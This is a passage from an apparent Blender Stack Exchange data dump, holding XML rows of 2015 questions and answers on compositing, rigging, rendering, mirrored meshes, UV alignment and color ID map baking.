href=&quot;https://blender.stackexchange.com/users/599/gandalf3&quot;&gt;gandalf3&lt;/a&gt; for the tip), which gives the best blur, to add the glow that occurs in the lens. Atmosphere can also be a factor, but not in this case. Finally I colorized it by raising the blue channel using the curves, as well as the green channel (to a lesser extent).&lt;/p&gt;&#xA;&lt;h3&gt;Result&lt;/h3&gt;&#xA;&lt;p&gt;Rendered at &lt;strong&gt;1&lt;/strong&gt; samples, taking &lt;strong&gt;0.9 minutes&lt;/strong&gt; (including calculating the compsiting)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YtsRP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/209/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=209&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Approach Downsides&lt;/h3&gt;&#xA;&lt;p&gt;The main issue with this is that the lighting will still appear as a white line to surrounding object in the scene.. &lt;a href=&quot;https://blender.stackexchange.com/a/3640/3127&quot;&gt;this answer&lt;/a&gt; details workarounds for that issue, but be aware that this may complicate the scene&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bonus:&lt;/strong&gt; Awsome lightning gif by &lt;a href=&quot;https://blender.stackexchange.com/users/599/gandalf3&quot;&gt;gandalf3&lt;/a&gt; (creating using the compositing technique)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/AcclaimedDeepAmurratsnake&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gpzjh.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bonus #2:&lt;/strong&gt; I rendered the volumetric lightning at &lt;strong&gt;One Million Samples&lt;/strong&gt;, taking &lt;strong&gt;15 hours, 14 min, and 26.9 Seconds&lt;/strong&gt;... and it &lt;em&gt;still&lt;/em&gt; has some noticeable noise:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvInt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-03T19:05:33.273" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="28372" PostTypeId="1" CreationDate="2015-04-11T15:42:41.717" Score="5" ViewCount="267" Body="&lt;p&gt;Let's say I have a surface, which is divided as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  A   B   C   D&#xA;0 +---+---+---+&#xA;  |   |   |   |&#xA;1 +---+---+---+&#xA;  |   |   |   |&#xA;2 +---+---+---+&#xA;  |   |   |   |&#xA;3 +---+---+---+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This surface also have a subdivision-surface modifier added to it, with level 3.&#xA;What I want to achieve is, when I grab each of the above points, the other points should &lt;em&gt;&quot;react&quot;&lt;/em&gt; along with it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example: if I grab &lt;code&gt;A:0&lt;/code&gt; my grab will also effect its closest neighbors: &lt;code&gt;B:0&lt;/code&gt;, &lt;code&gt;B:1&lt;/code&gt; and &lt;code&gt;A:1&lt;/code&gt; as well. Now, here comes the hard part, which I couldn't solve because of the dependency cycles it might generate when I try it with bones: if I grab &lt;code&gt;B:0&lt;/code&gt; it should effect &lt;code&gt;C:0&lt;/code&gt;, &lt;code&gt;C:1&lt;/code&gt;, &lt;code&gt;B:1&lt;/code&gt;, &lt;code&gt;A:1&lt;/code&gt; and &lt;code&gt;A:0&lt;/code&gt; as well. Which basically means, &lt;em&gt;&quot;for one second&quot;&lt;/em&gt; &lt;code&gt;B:0&lt;/code&gt; becomes the parent of &lt;code&gt;A:0&lt;/code&gt;, which of course is not possible, as I already assigned &lt;code&gt;B:0&lt;/code&gt; as a child of &lt;code&gt;A:0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'm looking for is either a trick to have this grid like bone rig, or some other solutions (such as a 2D lattice or anything) which is available through BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="1989" LastEditDate="2015-04-11T18:08:14.737" LastActivityDate="2018-01-11T05:28:52.847" Title="Rigging a surface for game engine" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28374" PostTypeId="2" ParentId="28363" CreationDate="2015-04-11T17:02:54.450" Score="4" Body="&lt;p&gt;The texture is setup correctly, but you have mirror enabled with &lt;em&gt;reflectivity&lt;/em&gt; set to 1. This means that the material is &lt;em&gt;entirely&lt;/em&gt; reflecting the environment around it, but as the mirror color is black, no light is actually reflected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you disable &lt;em&gt;mirror&lt;/em&gt;, the texture is visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BuM2t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I also set the specular intensity to 0, otherwise the texture is a little difficult to see (but visible).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-11T17:02:54.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28375" PostTypeId="1" AcceptedAnswerId="28378" CreationDate="2015-04-11T17:54:53.190" Score="4" ViewCount="351" Body="&lt;p&gt;I would like to render an openGL preview using my rendering network, but there is no such option in the rendering engines dropdown. What can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built the rendering network with &quot;Network Render&quot; addon which is working fine with other engines.&lt;/p&gt;&#xA;" OwnerUserId="13613" LastEditorUserId="3078" LastEditDate="2015-04-11T22:39:01.663" LastActivityDate="2015-04-11T22:39:01.663" Title="Is the Network Render addon able to render with openGL?" Tags="&lt;rendering&gt;&lt;opengl&gt;&lt;network&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28376" PostTypeId="1" CreationDate="2015-04-11T18:56:44.743" Score="1" ViewCount="181" Body="&lt;p&gt;I have character (with mirror mod), after that I added rig and edited weight paint and then i applyied mirror mod, now I need to export animations and character with ogre exporter but Im getting warning message that some vertex are in more then 4 vertex groups so did find one of these vertex and removed it from some vertex groups and now it is in only 2 ver. groups but again exporter saying that my vertex is in more then 4 ver. groups. I have py script which print names of groups in which my vertex is in and script print that it is in 2 groups, when I do export and run script again the scrip say that the vertex is in 6 groups but in blender the vertex is in 2 groups.&#xA;Why Im getting these two different versions of vertex groups, and can I delete older version of vertex groups if blender store them somewhere ?&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2015-04-11T18:56:44.743" Title="Vertex groups after applying mirror modifier" Tags="&lt;export&gt;&lt;mirror&gt;&lt;vertex-groups&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28377" PostTypeId="2" ParentId="27567" CreationDate="2015-04-11T20:15:04.930" Score="2" Body="&lt;p&gt;I was able to solve it in the end by darkening certain passes before combining them. The usual combination method is Direct Pass + Indirect Pass multiplied by color pass. The Direct+Indirect contains all the lighting and shadow information, but does not have any material colors to throw off the ramping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the direct+indirect, ramped it to get a mask of the desired darkening, then multiplied the direct+indirect by it. Then I multiplied by color, completing the combined pass. This was also done for the Gloss using a different ramp for more artistic control.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/33ndE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-04-11T20:15:04.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28378" PostTypeId="2" ParentId="28375" CreationDate="2015-04-11T20:25:39.123" Score="5" Body="&lt;p&gt;AFAIK netrender doesn't support this, as there is no opengl &quot;render engine&quot; defined in blender (as you noted). There is an opengl render operator, but it is not defined as a formal render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a simple alternative approach you might be able to use. See the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15860/599&quot;&gt;Render on more than one computer?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5643/599&quot;&gt;Cycles Netrender Returning Black&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5262/599&quot;&gt;How to use baked fluid with network render?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-04-11T20:25:39.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28379" PostTypeId="2" ParentId="27333" CreationDate="2015-04-11T21:01:48.183" Score="3" Body="&lt;p&gt;I've sometimes had odd results with the defocus node, particularly with large aperture sizes. See &lt;a href=&quot;https://blender.stackexchange.com/q/7395/599&quot;&gt;2d vs 3d Depth of Field&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using &lt;a href=&quot;http://blender.org/manual/render/cycles/camera.html?#depth-of-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;built in Cycles DoF&lt;/a&gt;, which &lt;a href=&quot;http://www.diyphotography.net/can-you-make-computerized-shaped-bokeh/&quot; rel=&quot;nofollow noreferrer&quot;&gt;simulates the way light behaves&lt;/a&gt; at a lower level. It gives realistic and seamless results without requiring any fussing with the Z buffer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0DwSz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside is the inability to edit it in post.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-04-11T21:06:54.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28380" PostTypeId="2" ParentId="23373" CreationDate="2015-04-11T21:03:37.000" Score="2" Body="&lt;p&gt;Unfortunately you can't. The answer you linked works by adjusting the mapping coordinates, but this isn't possible with the fresnel node.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Perhaps if we knew more about what kind of effect you were trying to get we could think of an alternate approach..&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-11T21:03:37.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28381" PostTypeId="2" ParentId="23605" CreationDate="2015-04-11T21:12:26.327" Score="2" Body="&lt;p&gt;Unfortunately this isn't possible without the clumsy tricks already mentioned in the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might consider asking the devs if this can be changed. See &lt;a href=&quot;https://blender.stackexchange.com/q/1190/599&quot;&gt;Best Place to put Feature Requests?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-04-11T21:12:26.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28383" PostTypeId="2" ParentId="23605" CreationDate="2015-04-11T21:26:24.490" Score="17" Body="&lt;p&gt;Just plug the value directly into compositor output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIl3q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the Auto Render option in the header to have your composite update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Image Editor see the value with right-clicking on the grey rectangle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDXY1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see values less than 0 or more than 1 also. No need to scale them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can't see it always, you have to fiddle with the nodes then right-click and check value, can't change node while seeing the output. Blender lacks this functionality.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Theoretically one could make some value visualizer from translating and cropping a picture of numbers with some math involved..or something similar..so here you go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image (no need to download its packed in blend):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lxf9I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend File with node group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/178/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=178&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will replace your composite with numbers on black background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b4Y8J.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This node-group for every decimal of input crops that number from the number-strip (image texture inside the group) and then translates it onto its position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to some rounding artifacts sometimes you might get weird result but its good enough. Its a &lt;a href=&quot;https://docs.python.org/2/tutorial/floatingpoint.html&quot; rel=&quot;noreferrer&quot;&gt;floating-point limitation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-04-12T00:12:13.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28384" PostTypeId="2" ParentId="19745" CreationDate="2015-04-12T01:39:26.613" Score="8" Body="&lt;p&gt;One way is to animate it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a value node (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;On the first frame set the value to the frame number (in this case 1) and press &lt;kbd&gt;I&lt;/kbd&gt; while hovering over the input field.&lt;/li&gt;&#xA;&lt;li&gt;Do the same for the last frame.&lt;/li&gt;&#xA;&lt;li&gt;Change the keyframe interpolation to &lt;em&gt;Linear&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) in the graph editor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlgJW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ideally you could &lt;a href=&quot;http://blender.org/manual/animation/basics/drivers.html&quot; rel=&quot;noreferrer&quot;&gt;just type &lt;code&gt;#frame&lt;/code&gt;&lt;/a&gt; into the value node, however it seems the value only updates when you toggle in and out of edit mode (or in some way cause the object to re-evaluate). It doesn't update automatically when rendering :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will be fixed with the &lt;a href=&quot;http://www.blender.org/press/18-anticipated-blender-development-projects-of-2015/&quot; rel=&quot;noreferrer&quot;&gt;new depsgraph&lt;/a&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-12T01:39:26.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28385" PostTypeId="1" CreationDate="2015-04-12T02:02:50.953" Score="1" ViewCount="16" Body="&lt;p&gt;I'm a technical artist at an indie game studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, this is an issue that one of our artists is having, and he screenshared his process with me over Google Hangouts. This is what I observed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;He would set the beginning (A) and and end (B) keyframes for a&#xA;3-key idle cycle.&lt;/li&gt;&#xA;&lt;li&gt;When creating the middle keyframe (C), he would select a single&#xA;channel in the dopesheet editor and a single object in 3D View.&lt;/li&gt;&#xA;&lt;li&gt;The transform values applied when setting keyframe C would also be&#xA;expressed in keyframe B.&lt;/li&gt;&#xA;&lt;li&gt;This was confirmed both while posing and while playing the animation&#xA;(Alt + A).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The strange part is that I couldn't reproduce this behavior when I tested the .blend file on my end. The artist also noted that this was the first time he had encountered the behavior, as he'd successfully produced 15 animations for our project earlier this year without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We haven't found any similar issues when searching Google, which leads me to believe it is a setting somewhere which allows the user to overwrite keyframes which are already set later in the timeline. Feel free to comment with any suggestions of human error, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few final notes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am using Blender 2.67 while our artist is using 2.69.&lt;/li&gt;&#xA;&lt;li&gt;I am on a Mac while he's using Windows.&lt;/li&gt;&#xA;&lt;li&gt;We are testing a file which the artist created and shared with me via Dropbox.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help. Any insight would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13733" LastActivityDate="2015-04-12T02:02:50.953" Title="In the dopesheet, setting a new keyframe between two existing keyframes overwrites keyframe data" Tags="&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-14T06:55:53.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="28386" PostTypeId="2" ParentId="28168" CreationDate="2015-04-12T03:20:22.093" Score="0" Body="&lt;p&gt;To achieve this effect, I just turned up the &quot;emit&quot; setting in the materials panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S7suD.jpg&quot; alt=&quot;Illustration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="6204" LastEditDate="2015-04-12T11:21:21.350" LastActivityDate="2015-04-12T11:21:21.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28389" PostTypeId="2" ParentId="20998" CreationDate="2015-04-12T07:08:58.707" Score="2" Body="&lt;p&gt;Baking in Cycles does not implement anti-aliasing yet.&#xA;Check this thread for more information : &lt;a href=&quot;https://developer.blender.org/T43388&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T43388&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-04-12T07:08:58.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28390" PostTypeId="1" AcceptedAnswerId="28393" CreationDate="2015-04-12T08:38:08.910" Score="3" ViewCount="732" Body="&lt;p&gt;See I am trying to make a window for a skyscraper and I almost got everything but one of the bars of the window frame. When I try to rotate it by 90 degrees it behaves weirdly. I want it to be perpendicular to the horizontal bars in the center.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PBogC.png&quot; alt=&quot;Before&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mOwwk.png&quot; alt=&quot;After&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;with that bar selected I hit and release r on my keyboard and type in 90.&lt;/p&gt;&#xA;" OwnerUserId="13743" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-12T11:53:37.420" Title="Rotating a mirrored object by 90 degrees doesn't work as expected" Tags="&lt;mirror&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28391" PostTypeId="1" CreationDate="2015-04-12T10:11:55.710" Score="3" ViewCount="433" Body="&lt;p&gt;I am working on the mesh that I'm trying to bend 250 degrees around itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uvg2E.png&quot; alt=&quot;front view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hS9mJ.png&quot; alt=&quot;top view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using simple deform modifier but as a result I keep on getting following result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p2Cf0.png&quot; alt=&quot;top view after applying the bend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do in order to 'block' or make all the lines follow the bend so that when looking from the top view none of the line would surpass?&lt;/p&gt;&#xA;" OwnerUserId="8027" LastActivityDate="2015-04-12T13:02:33.060" Title="How to bend a mesh evenly?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28392" PostTypeId="1" CreationDate="2015-04-12T10:39:31.530" Score="0" ViewCount="55" Body="&lt;p&gt;I'd like to render a frame with OPENGL and I want to save to a byte array variable without file save/load.&#xA;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="13613" LastActivityDate="2015-04-12T10:39:31.530" Title="Able to transport the rendered opengl frame to byte array with python script?" Tags="&lt;python&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2015-04-27T19:11:27.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="28393" PostTypeId="2" ParentId="28390" CreationDate="2015-04-12T11:25:37.047" Score="4" Body="&lt;p&gt;Make sure that the &lt;code&gt;Pivot Point&lt;/code&gt; is located in the centre of the selected bar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure that, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; to make it visible. If it's already, than skip this. You can also see that using this button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnHwe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then either hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;,&lt;/kbd&gt; (it will snap the pivot point to the median point, that is what you want) or use this menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xka3M.jpg&quot; alt=&quot;pivot point menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case it is appropriate to select any of these opitons except &lt;code&gt;3D Cursor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select your bar, hit &lt;kbd&gt;R&lt;/kbd&gt;, type some number and release left mose button or hit Space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option &lt;code&gt;Clipping&lt;/code&gt; in mirror modifier prevents vertices that are on the mirror plane from being moved from it. You would really like to use it if creating any characters, cars etc, when you wouldn't like vertices on the mirror plane being doubled. See &lt;a href=&quot;http://www.blender.org/manual/modifiers/generate/mirror.html?highlight=mirror%20modifier#options&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2015-04-12T11:31:01.730" LastActivityDate="2015-04-12T11:31:01.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28394" PostTypeId="2" ParentId="28391" CreationDate="2015-04-12T12:16:33.813" Score="3" Body="&lt;p&gt;The problem was in the construction of the mesh. I added loop cuts to each of the lines and then bended it using the simple deform modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2sGg7.png&quot; alt=&quot;Final view from the front&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOPOr.png&quot; alt=&quot;Final view from the top&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8027" LastEditorUserId="241" LastEditDate="2015-04-12T13:02:33.060" LastActivityDate="2015-04-12T13:02:33.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28395" PostTypeId="1" AcceptedAnswerId="28403" CreationDate="2015-04-12T12:43:01.650" Score="3" ViewCount="824" Body="&lt;p&gt;In Blender2.73, I have a model with Catmull-Clark Subsurf modifier. How can I get and set the XYZ positions of subdivided vertices(the red circles) in Python Script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y29Aq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, Can I save the model as just a high polygon model without Subsurf modifier?&lt;/p&gt;&#xA;" OwnerUserId="13744" LastEditorUserId="13744" LastEditDate="2015-04-13T03:51:34.240" LastActivityDate="2015-04-13T07:52:16.173" Title="Blender scripting: Subdivided vertices with Catmull-Clark" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28397" PostTypeId="1" AcceptedAnswerId="28401" CreationDate="2015-04-12T14:50:58.943" Score="6" ViewCount="6256" Body="&lt;p&gt;I have following UV map!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kzN6Z.jpg&quot; alt=&quot;UV Map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those islands are both same, but one of them is mirrored. I can mirror the one of the parts by selecting UVs -&gt; Mirror -&gt; X Axis (Ctrl-M)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however the hard part is they are not aligned and even rotating one does not make it exactly match the other one and it leaves stretched marks when rendering on one side of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found &lt;a href=&quot;http://www.elysiun.com/forum/showthread.php?355251-Rotating-UV-island-to-align-with-X-and-Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; forum post about almost same issue (different blender version) which does not have a proper answer either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using snap with vertex but still no luck properly overlapping two islands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to align islands to X, Y axis or other model? &lt;/p&gt;&#xA;" OwnerUserId="13357" LastActivityDate="2015-10-16T00:49:38.407" Title="Align UV map island with axis or other island" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28398" PostTypeId="1" AcceptedAnswerId="28399" CreationDate="2015-04-12T15:17:37.447" Score="11" ViewCount="24196" Body="&lt;p&gt;All of the most powerful texturing applications require a color ID map (Substance Designer, Substance Painter, Quixel DDO). I've been using a Maya plugin called Nightshade Blockout to export color maps for use in these programs. Nightshade may be one of the most-used plugins for texture artists abroad, simply because it's referred and linked by those giants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/unDP8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lA9dC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would hope it's as simple as assigning a material color and baking the texture, but it's safe to assume such a map wouldn't come with edge padding (extending the boundaries of each color island by a certain number of pixels, to hide seams during the texturing process). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a Blender workflow/plugin for this, I would love to know about it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allen&lt;/p&gt;&#xA;" OwnerUserId="13400" LastEditorUserId="13400" LastEditDate="2015-04-12T15:53:00.670" LastActivityDate="2015-11-04T23:00:09.440" Title="Is there a way to create a Color ID map in Blender?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28399" PostTypeId="2" ParentId="28398" CreationDate="2015-04-12T16:04:01.890" Score="5" Body="&lt;h2&gt;Materials&lt;/h2&gt;&#xA;&lt;p&gt;You will need to add a special material for each section of color in Color ID map. To create these materials, you need to create an emission shader with a strength of one, and set the color to whatever you desire. Then use the assign option in edit mode to attach it to the face.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSEmf.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;sup&gt;The material will be applied to all selected faces&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Target Image&lt;/h2&gt;&#xA;&lt;p&gt;The way cycles handles the target image to bake to is plain terrible. You will need to add it as an image texture node in the material, and have it selected, you will have to do this for each and every 